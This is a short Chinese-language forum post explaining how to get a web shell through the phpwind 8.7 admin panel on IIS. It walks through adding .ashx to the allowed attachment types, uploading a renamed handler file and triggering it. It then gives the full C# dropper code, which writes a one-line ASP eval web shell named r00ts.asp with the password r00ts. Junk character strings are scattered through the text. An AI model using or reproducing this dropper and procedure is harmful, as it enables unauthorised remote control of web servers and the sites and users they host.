phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
/ H) d, j9 K3 Z( b3 |* x0 E! n
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

% C4 q1 d2 i6 B$ @发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
7 W* N6 b; ~7 c9 d
/ R- `& U5 M; P4 h) Q* Q/ H. S然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
6 n( r4 t- x. n, _
) U7 \% u4 }9 ^& u2 z9 p! B下面是代码:
: H" e  j. H( h' M0 H! g0 g( j  h! ^
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
" o" T- j5 T; C0 }using System.IO;
& @0 b3 h6 G% k4 @: K( O7 mpublic class Handler : IHttpHandler {
/ I  U' I  j7 [. M# s) `public void ProcessRequest (HttpContext context) {
' K5 O9 `0 f3 T+ Y3 z/ [- Z8 pcontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
- F3 ^4 G1 u8 K  l. mfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
& j0 t4 W- h) i& _; R}
public bool IsReusable {
get {
. L+ ]' ?+ K) {7 @* m. F4 z* Qreturn false;
* I/ t5 X+ H* P4 e; @0 k}
  I6 p: p) n1 B4 x9 s}
}